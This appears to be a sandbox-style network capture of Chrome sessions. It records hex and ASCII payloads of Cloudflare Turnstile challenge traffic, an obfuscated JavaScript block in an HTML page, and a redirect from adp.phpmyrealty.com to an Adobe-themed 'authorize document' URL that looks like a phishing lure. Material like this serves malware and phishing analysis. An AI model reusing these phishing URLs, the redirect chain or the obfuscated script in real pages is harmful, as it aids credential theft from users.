2025-04-28 07:04:09 UTC	16202	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 70 2c 44 29 7b 76 61 72 20 62 3d 70 28 29 3b 66 75 6e 63 74 69 6f 6e 20 45 7a 28 70 2c 44 29 7b 72 65 74 75 72 6e 20 61 30 54 28 70 2d 20 2d 30 78 31 35 37 2c 44 29 3b 7d 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 68 3d 2d 70 61 72 73 65 49 6e 74 28 45 7a 28 30 78 35 64 61 2c 30 78 36 65 62 29 29 2f 30 78 31 2a 28 70 61 72 73 65 49 6e 74 28 45 7a 28 30 78 31 66 33 2c 30 78 33 31 64 29 29 2f 30 78 32 29 2b 70 61 72 73 65 49 6e 74 28 45 7a 28 30 78 35 32 38 2c 30 78 37 32 65 29 29 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <script type="text/javascript"> (function(p,D){var b=p();function Ez(p,D){return a0T(p- -0x157,D);}while(!![]){try{var h=-parseInt(Ez(0x5da,0x6eb))/0x1*(parseInt(Ez(0x1f3,0x31d))/0x2)+parseInt(Ez(0x528,0x72e))
2025-04-28 07:04:09 UTC	16384	IN	Data Raw: 49 30 68 42 74 27 2c 27 42 67 49 43 41 45 44 63 44 41 43 41 43 51 51 68 71 49 41 42 42 79 41 49 51 64 78 6f 4c 51 27 2c 27 68 45 54 78 56 67 69 4b 77 6c 39 65 72 38 74 2f 72 6a 4a 65 54 30 63 64 6d 71 74 54 75 2b 27 2c 27 43 41 41 51 51 45 36 41 41 51 67 41 43 41 42 4e 67 49 41 44 41 49 4c 49 41 4e 42 43 47 6f 27 2c 27 46 4e 67 49 49 44 41 45 4c 49 41 45 6f 41 67 51 69 41 69 41 44 51 51 4a 30 61 69 41 43 49 27 2c 27 6c 6f 67 27 2c 27 63 6f 6c 6f 72 44 65 70 74 68 27 2c 27 74 75 54 41 46 27 2c 27 46 45 41 4d 46 43 31 6b 49 41 68 31 69 48 6b 67 49 43 6f 43 6d 58 69 4a 46 43 77 6f 47 44 27 2c 27 53 41 4b 51 52 78 71 49 51 6b 43 51 41 4a 41 49 41 4a 46 44 51 41 67 41 6b 45 48 61 79 49 27 2c 27 6f 41 67 77 51 67 51 4d 67 41 42 43 55 41 67 77 42 43 79 41 42 49 Data Ascii: I0hBt','BgICAEDcDACACQQhqIABByAIQdxoLQ','hETxVgiKwl9er8t/rjJeT0cdmqtTu+','CAAQQE6AAQgACABNgIADAILIANBCGo','FNgIIDAELIAEoAgQiAiADQQJ0aiACI','log','colorDepth','tuTAF','FEAMFC1kIAh1iHkgICoCmXiJFCwoGD','SAKQRxqIQkCQAJAIAJFDQAgAkEHayI','oAgwQgQMgABCUAgwBCyABI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49714	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:07 UTC	773	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=9374b425be546a49&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/lzyee/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:08 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 28 Apr 2025 07:04:08 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 118660 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 9374b42a3b19598b-PHX alt-svc: h3=":443"; ma=86400
2025-04-28 07:04:08 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 76 57 57 4c 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 Data Ascii: window._cf_chl_opt.vWWL8={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflar
2025-04-28 07:04:08 UTC	1369	IN	Data Raw: 3a 22 57 69 64 67 65 74 25 32 30 63 6f 6e 74 61 69 6e 69 6e 67 25 32 30 61 25 32 30 43 6c 6f 75 64 66 6c 61 72 65 25 32 30 73 65 63 75 72 69 74 79 25 32 30 63 68 61 6c 6c 65 6e 67 65 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 76 65 72 69 66 79 69 6e 67 22 3a 22 56 65 72 69 66 79 69 6e 67 2e 2e 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d 75 73 74 25 32 30 62 65 25 32 30 65 6d 62 65 64 64 65 64 25 32 30 69 6e 74 6f 25 32 30 61 25 32 30 70 61 72 65 6e 74 25 32 30 70 61 67 65 2e 22 2c 22 75 6e 73 75 70 70 Data Ascii: :"Widget%20containing%20a%20Cloudflare%20security%20challenge","testing_only":"Testing%20only.","turnstile_verifying":"Verifying...","turnstile_expired":"Expired","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","unsupp
2025-04-28 07:04:08 UTC	1369	IN	Data Raw: 65 64 62 61 63 6b 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 67 75 69 64 65 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 61 75 78 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 4c 2c 65 4d 2c 65 4e 2c 65 52 2c 65 55 2c 65 58 2c 65 5a 2c 66 30 2c 66 31 2c 66 66 2c 66 72 2c 66 78 2c 66 79 2c 66 7a 2c 66 4a 2c 66 55 2c 66 Data Ascii: edback","turnstile_timeout":"Timed%20out"},"polyfills":{"feedback_report_guideline":false,"feedback_report_output_subtitle":false,"feedback_report_aux_subtitle":false},"rtl":false,"lang":"en-us"};~function(gL,eM,eN,eR,eU,eX,eZ,f0,f1,ff,fr,fx,fy,fz,fJ,fU,f
2025-04-28 07:04:08 UTC	1369	IN	Data Raw: 3d 69 7d 2c 27 54 46 75 5a 76 27 3a 68 31 28 31 31 39 35 29 2c 27 44 67 6c 46 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 56 61 62 78 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 71 49 72 51 65 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 52 65 69 64 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 64 59 6a 57 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 62 4a 72 48 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 64 64 6b 4f 79 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 Data Ascii: =i},'TFuZv':h1(1195),'DglFE':function(h,i){return i\|h},'Vabxu':function(h,i){return h-i},'qIrQe':function(h,i){return h<<i},'Reida':function(h,i){return h&i},'dYjWT':function(h,i){return h==i},'bJrHk':function(h,i){return h<<i},'ddkOy':function(h,i){retur
2025-04-28 07:04:08 UTC	1369	IN	Data Raw: 4f 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 42 5b 4d 5d 3d 46 2b 2b 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 30 3d 3d 45 26 26 28 45 3d 4d 61 74 68 5b 68 36 28 33 31 30 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 69 66 28 4f 62 6a 65 63 74 5b 68 36 28 31 37 31 29 5d 5b 68 36 28 31 33 37 38 29 5d 5b 68 36 28 33 31 35 29 5d 28 43 2c 44 29 29 7b 69 66 28 64 5b 68 36 28 38 34 34 29 5d 28 32 35 36 2c 44 5b 68 36 28 31 32 31 32 29 5d 28 30 29 29 29 7b 66 6f 72 28 78 3d 30 3b 78 3c 47 3b 49 3c 3c 3d 31 2c 64 5b 68 36 28 38 39 31 29 5d 28 4a 2c 64 5b 68 36 28 31 31 30 32 29 5d 28 6a 2c 31 29 29 3f 28 4a 3d 30 2c 48 5b 68 36 28 31 34 39 39 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 78 2b 2b 29 3b Data Ascii: O++]){case'0':B[M]=F++;continue;case'1':0==E&&(E=Math[h6(310)](2,G),G++);continue;case'2':if(Object[h6(171)][h6(1378)][h6(315)](C,D)){if(d[h6(844)](256,D[h6(1212)](0))){for(x=0;x<G;I<<=1,d[h6(891)](J,d[h6(1102)](j,1))?(J=0,H[h6(1499)](o(I)),I=0):J++,x++);
2025-04-28 07:04:08 UTC	1369	IN	Data Raw: 31 29 5d 28 4a 2c 6a 2d 31 29 3f 28 4a 3d 30 2c 48 5b 68 36 28 31 34 39 39 29 5d 28 64 5b 68 36 28 31 32 39 38 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 78 2b 2b 29 3b 66 6f 72 28 50 3d 44 5b 68 36 28 31 32 31 32 29 5d 28 30 29 2c 78 3d 30 3b 38 3e 78 3b 49 3d 64 5b 68 36 28 37 33 35 29 5d 28 49 3c 3c 31 2c 50 26 31 2e 34 35 29 2c 6a 2d 31 3d 3d 4a 3f 28 4a 3d 30 2c 48 5b 68 36 28 31 34 39 39 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 50 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 50 3d 31 2c 78 3d 30 3b 78 3c 47 3b 49 3d 49 3c 3c 31 2e 36 33 7c 50 2c 64 5b 68 36 28 38 39 31 29 5d 28 4a 2c 64 5b 68 36 28 31 31 35 38 29 5d 28 6a 2c 31 29 29 3f 28 4a 3d 30 2c 48 5b 68 36 28 31 34 39 39 29 5d 28 6f 28 49 29 29 2c 49 3d Data Ascii: 1)](J,j-1)?(J=0,H[h6(1499)](d[h6(1298)](o,I)),I=0):J++,x++);for(P=D[h6(1212)](0),x=0;8>x;I=d[h6(735)](I<<1,P&1.45),j-1==J?(J=0,H[h6(1499)](o(I)),I=0):J++,P>>=1,x++);}else{for(P=1,x=0;x<G;I=I<<1.63\|P,d[h6(891)](J,d[h6(1158)](j,1))?(J=0,H[h6(1499)](o(I)),I=
2025-04-28 07:04:08 UTC	1369	IN	Data Raw: 31 33 33 29 2c 64 5b 68 61 28 31 32 32 36 29 5d 29 29 4f 3d 2f 5e 5c 73 2a 61 74 5c 73 2b 28 2e 2b 29 3a 28 5c 64 2b 29 3a 28 5c 64 2b 29 2f 2c 50 3d 69 5b 31 5d 5b 68 61 28 31 32 37 37 29 5d 28 4f 29 2c 50 26 26 28 6f 3d 50 5b 31 5d 2c 73 3d 65 28 50 5b 32 5d 2c 31 30 29 2c 78 3d 42 28 50 5b 33 5d 2c 31 30 29 29 3b 65 6c 73 65 7b 66 6f 72 28 73 3d 5b 5d 2c 78 3d 34 2c 42 3d 34 2c 43 3d 33 2c 44 3d 5b 5d 2c 47 3d 6f 28 30 29 2c 48 3d 6a 2c 49 3d 31 2c 45 3d 30 3b 33 3e 45 3b 73 5b 45 5d 3d 45 2c 45 2b 3d 31 29 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 61 28 33 31 30 29 5d 28 32 2c 32 29 2c 46 3d 31 3b 64 5b 68 61 28 38 39 30 29 5d 28 46 2c 4b 29 3b 4c 3d 64 5b 68 61 28 31 32 35 37 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 64 5b 68 61 28 31 36 39 Data Ascii: 133),d[ha(1226)]))O=/^\s*at\s+(.+):(\d+):(\d+)/,P=i[1][ha(1277)](O),P&&(o=P[1],s=e(P[2],10),x=B(P[3],10));else{for(s=[],x=4,B=4,C=3,D=[],G=o(0),H=j,I=1,E=0;3>E;s[E]=E,E+=1);for(J=0,K=Math[ha(310)](2,2),F=1;d[ha(890)](F,K);L=d[ha(1257)](G,H),H>>=1,d[ha(169
2025-04-28 07:04:08 UTC	1369	IN	Data Raw: 3d 78 26 26 28 78 3d 4d 61 74 68 5b 68 61 28 33 31 30 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 7d 7d 7d 7d 2c 67 3d 7b 7d 2c 67 5b 68 31 28 31 31 38 32 29 5d 3d 66 2e 68 2c 67 7d 28 29 2c 65 4d 5b 67 4c 28 31 31 33 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 62 2c 64 2c 65 2c 66 2c 67 29 7b 68 62 3d 67 4c 2c 64 3d 7b 7d 2c 64 5b 68 62 28 37 34 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 65 4d 5b 68 62 28 36 35 38 29 5d 5b 68 62 28 35 33 30 29 5d 28 65 5b 68 62 28 37 34 34 29 5d 28 32 2c 66 29 2c 33 32 29 2c 65 4d 5b 68 62 28 37 39 34 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 63 29 7b 68 63 3d 68 62 2c 65 4d 5b 68 63 28 34 36 32 29 5d 5b 68 63 28 32 30 37 29 5d 28 29 2c 65 4d Data Ascii: =x&&(x=Math[ha(310)](2,C),C++)}}}},g={},g[h1(1182)]=f.h,g}(),eM[gL(1132)]=function(hb,d,e,f,g){hb=gL,d={},d[hb(744)]=function(h,i){return h<<i},e=d,f=1,g=1e3*eM[hb(658)][hb(530)](e[hb(744)](2,f),32),eM[hb(794)](function(hc){hc=hb,eM[hc(462)][hc(207)](),eM
2025-04-28 07:04:08 UTC	1369	IN	Data Raw: 33 32 29 5d 3d 66 2c 73 5b 68 64 28 31 34 38 29 5d 3d 6a 2c 73 2e 63 63 3d 67 2c 73 5b 68 64 28 31 32 38 34 29 5d 3d 6b 2c 73 5b 68 64 28 31 33 36 30 29 5d 3d 6e 2c 76 3d 4a 53 4f 4e 5b 68 64 28 34 38 36 29 5d 28 73 29 2c 6f 5b 68 64 28 33 36 37 29 5d 28 65 52 5b 68 64 28 31 31 38 32 29 5d 28 76 29 29 7d 63 61 74 63 68 28 78 29 7b 7d 7d 2c 65 4d 5b 67 4c 28 32 39 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 68 65 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 69 66 28 68 65 3d 67 4c 2c 65 3d 7b 27 4a 6b 61 75 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 2c 27 6d 56 5a 79 65 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3d 3d 3d 6f 7d 2c 27 61 68 64 4c 4c 27 3a 66 75 6e 63 74 69 Data Ascii: 32)]=f,s[hd(148)]=j,s.cc=g,s[hd(1284)]=k,s[hd(1360)]=n,v=JSON[hd(486)](s),o[hd(367)](eR[hd(1182)](v))}catch(x){}},eM[gL(292)]=function(d,he,e,f,g,h,i,j,k,l,m){if(he=gL,e={'Jkaul':function(n,o){return n+o},'mVZye':function(n,o){return n===o},'ahdLL':functi
2025-04-28 07:04:08 UTC	1369	IN	Data Raw: 28 31 31 32 36 29 5d 2c 66 30 3d 65 4d 5b 67 4c 28 31 34 32 31 29 5d 5b 67 4c 28 32 35 38 29 5d 5b 67 4c 28 39 31 30 29 5d 2c 66 31 3d 65 4d 5b 67 4c 28 31 34 32 31 29 5d 5b 67 4c 28 32 35 38 29 5d 5b 67 4c 28 31 32 31 34 29 5d 2c 66 66 3d 21 5b 5d 2c 66 72 3d 75 6e 64 65 66 69 6e 65 64 2c 65 4d 5b 67 4c 28 31 39 30 29 5d 28 67 4c 28 38 37 36 29 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 69 31 2c 64 2c 65 29 7b 69 31 3d 67 4c 2c 64 3d 7b 27 56 41 47 4b 64 27 3a 69 31 28 31 30 38 36 29 2c 27 6b 71 74 6c 41 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 28 67 29 7d 7d 2c 65 3d 63 5b 69 31 28 31 33 38 35 29 5d 2c 65 26 26 65 5b 69 31 28 31 32 38 34 29 5d 3d 3d 3d 64 5b 69 31 28 31 34 33 35 29 5d 26 26 65 5b 69 31 28 36 32 34 29 5d 3d 3d 3d Data Ascii: (1126)],f0=eM[gL(1421)][gL(258)][gL(910)],f1=eM[gL(1421)][gL(258)][gL(1214)],ff=![],fr=undefined,eM[gL(190)](gL(876),function(c,i1,d,e){i1=gL,d={'VAGKd':i1(1086),'kqtlA':function(f,g){return f(g)}},e=c[i1(1385)],e&&e[i1(1284)]===d[i1(1435)]&&e[i1(624)]===

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49715	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:07 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/lzyee/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:08 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 28 Apr 2025 07:04:08 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9374b42a3e69b66b-PHX alt-svc: h3=":443"; ma=86400
2025-04-28 07:04:08 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49718	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:08 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/652780260:1745821567:WBBn2W7-fOSe7lGpGYVAOox2W9NKxXUBK7p5JVjVv_U/9374b425be546a49/vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 4197 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/lzyee/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:08 UTC	4197	OUT	Data Raw: 38 64 35 70 36 70 24 70 50 70 52 70 78 6f 75 54 6f 75 46 70 6f 53 79 6a 2d 44 6f 51 75 2d 75 59 69 53 33 2b 34 75 4a 50 75 38 34 45 6e 75 77 75 4e 34 2d 6a 4b 34 45 52 61 4b 75 6c 34 33 50 4f 45 54 75 51 46 35 75 79 45 34 79 48 75 34 78 50 45 4e 6a 59 35 4d 75 71 75 35 64 75 57 36 70 2d 61 75 2d 50 4b 6a 45 51 75 2d 59 4a 64 75 68 52 33 66 71 53 37 36 4d 50 75 31 61 34 79 2b 61 75 6c 53 45 69 42 46 73 44 4f 45 65 6f 46 58 42 2b 4c 43 70 4d 6f 51 75 45 66 75 51 33 53 67 6d 44 73 75 33 6e 61 33 31 4b 4f 6a 46 4e 58 43 72 63 74 35 6d 4e 38 51 42 6a 73 75 51 4b 4d 76 72 61 72 4e 79 70 75 45 59 67 56 61 38 44 44 4f 34 55 2d 4f 34 75 76 78 34 45 33 75 6f 44 57 49 34 75 38 75 6f 50 75 51 54 71 6b 75 45 33 6d 45 68 48 75 35 6d 53 75 4a 53 45 76 65 50 44 75 55 53 Data Ascii: 8d5p6p$pPpRpxouTouFpoSyj-DoQu-uYiS3+4uJPu84EnuwuN4-jK4ERaKul43POETuQF5uyE4yHu4xPENjY5Muqu5duW6p-au-PKjEQu-YJduhR3fqS76MPu1a4y+aulSEiBFsDOEeoFXB+LCpMoQuEfuQ3SgmDsu3na31KOjFNXCrct5mN8QBjsuQKMvrarNypuEYgVa8DDO4U-O4uvx4E3uoDWI4u8uoPuQTqkuE3mEhHu5mSuJSEvePDuUS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49719	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:09 UTC	425	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:09 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 28 Apr 2025 07:04:09 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9374b4327a02c4c4-PHX alt-svc: h3=":443"; ma=86400
2025-04-28 07:04:09 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49721	172.67.215.23	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:09 UTC	932	OUT	GET /favicon.ico HTTP/1.1 Host: adp.phpmyrealty.com Connection: keep-alive sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua-platform-version: "10.0.0" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:10 UTC	994	IN	HTTP/1.1 302 Found Date: Mon, 28 Apr 2025 07:04:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Cf-Ray: 9374b4379e0b5a87-PHX Location: https://adobe.ecflabs.com/adobe/?organisation=&des=ZmF2aWNvbi5pY28=#/common/authorize?document=0.7082571656016-0ff1-0.64357822697776&auth=10.90671959608175-0.59669952820833 Cf-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tG%2Fsi0SGODW53FdhA%2FEo0GdPvV7%2FymfpMU8yw7LRf%2BqLYBBIa6iClk%2BtAN0w5mISR4X7diSrvTqwVNRqaLQZNuL4c7q%2F6erR%2Bn%2F93L1FW5%2BsO157NqD3pr59avDK%2B6jBLRGH7GUe"}],"group":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: 